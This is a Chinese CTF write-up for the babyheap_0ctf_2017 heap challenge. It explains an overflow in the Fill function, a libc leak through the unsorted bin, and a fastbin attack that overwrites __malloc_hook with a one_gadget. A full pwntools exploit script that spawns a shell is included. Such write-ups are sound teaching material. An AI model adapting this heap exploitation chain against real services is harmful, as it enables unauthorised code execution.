文章图片
保护全开,一般就是堆题了,没有符号表
文章图片
【babyheap_0ctf_2017】我们特别看一下填充的地方,Fill
时候输入的size
直接传入read
函数,所以存在溢出。
文章图片
利用思路:
- 利用
unsorted bin
地址泄露libc
基地址 - 利用 fastbin attack将chunk分配到
malloc_hook
附近
unsorted bin
的地址,因为unsoted bin是一个双向链表的结构,存在fd指针和bk指针,我们知道只有在chunk处于free的状态才会存在fd和bk指针,但是我们又要能拿到这个数据?答案就是一个双重指针,两个指针可以访问同一个位置,一个指针已经将这块内存给free掉了,free的指针就会使得bk和fd位置被写入数据,但是另一个指针还可以正常使用,正常使用的指针就能够读取到fd和bk位置的数据了。拿到unsorted bin的地址后,(与
main_arena
的偏移为0x58,与libc的偏移为0x3c4b20)就可以拿到libc的基地址。接下来就是利用fastbin将chunk分配到
malloc_hook
的位置(该hook位置当每次执行malloc一类函数时都一定会调用),对该位置进行shell写入,当再调用allocate
时,就会执行我们的shell拿到权限!下图是
main_arena
的结构,从图中可以看到unsorted bin
相对于main_arena
的偏移文章图片
下图是伪造的chunk位置,需要对该
__malloc_hook
位置进行写入操作文章图片
exp
from pwn import *context(log_level ='debug')
porc_name = './babyheap_0ctf_2017'
libc = ELF('./libc-2.23.64.so')
p = process(porc_name)
print(proc.pidof(p))
# p = remote('node3.buuoj.cn', 29322)def allocate(size):
p.recvuntil('Command:')
p.sendline('1'.encode())
p.sendline(str(size))
def fill(index, content):
p.recvuntil('Command:')
p.sendline('2'.encode())
p.sendline(str(index))
p.sendline(str(len(content)))
p.sendline(content)def free(index):
p.recvuntil('Command:')
p.sendline('3'.encode())
p.sendline(str(index))
def dump(index):
p.recvuntil('Command:')
p.sendline('4'.encode())
p.sendline(str(index))
p.recvuntil('Content:')log.success('libc_address')allocate(0x10) # chunk 0
allocate(0x10) # chunk 1
allocate(0x100) # chunk 2
fill(0, 'a'.encode() * 0x10 + p64(0) + p64(0x41))
fill(2, 'b'.encode() * 0x10 + p64(0) + p64(0x111))
free(1)
allocate(0x30)
fill(1, 'c'.encode() * 0x10 + p64(0) + p64(0x111))
allocate(0x100) # chunk 3
free(2)
dump(1)
main_arena_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x58
print(main_arena_addr)
libc_base = main_arena_addr - 0x3c4b20log.success('fake_chunk')
malloc_hook_addr = libc_base + libc.sym['__malloc_hook']
fake_chunk = malloc_hook_addr - 0x23
print(fake_chunk)
allocate(0x60) #2
allocate(0x60) #4
free(4)
fill(2, 'a'.encode() * 0x60 + p64(0) +p64(0x71) + p64(fake_chunk))
allocate(0x60)
allocate(0x60) # 5
# pause()
one_gadget_addr = libc_base + 0x4526a
fill(5, 'a'.encode() * 0x13 + p64(one_gadget_addr))
allocate(0x110)
p.interactive()
文章图片
推荐阅读
- ELF,PE文件格式 及 延迟绑定(PLT、GOT表)、动态链接(.dynamic段)
- [V&N2020 公开赛]babybabypwn[srop]
- BUUCTF|【BUUCTF - PWN】babyheap_0ctf_2017
- BUUCTF|【BUUCTF - PWN】babyrop
- buuctf中的一些pwn题总结(不断更新)
- pwn|关于沙箱关闭execve的绕过技巧及SROP的简单利用方法 --(buuctf[V&N2020 公开赛])babybabypwn + warmup
- 堆溢出|House of force —— gyctf_2020_force
- 栈溢出|非常规情况下栈溢出系统调用——PicoCTF_2018_can-you-gets-me
- 堆溢出|libc2.26以下的单一堆溢出漏洞利用——0ctf_2017_babyheap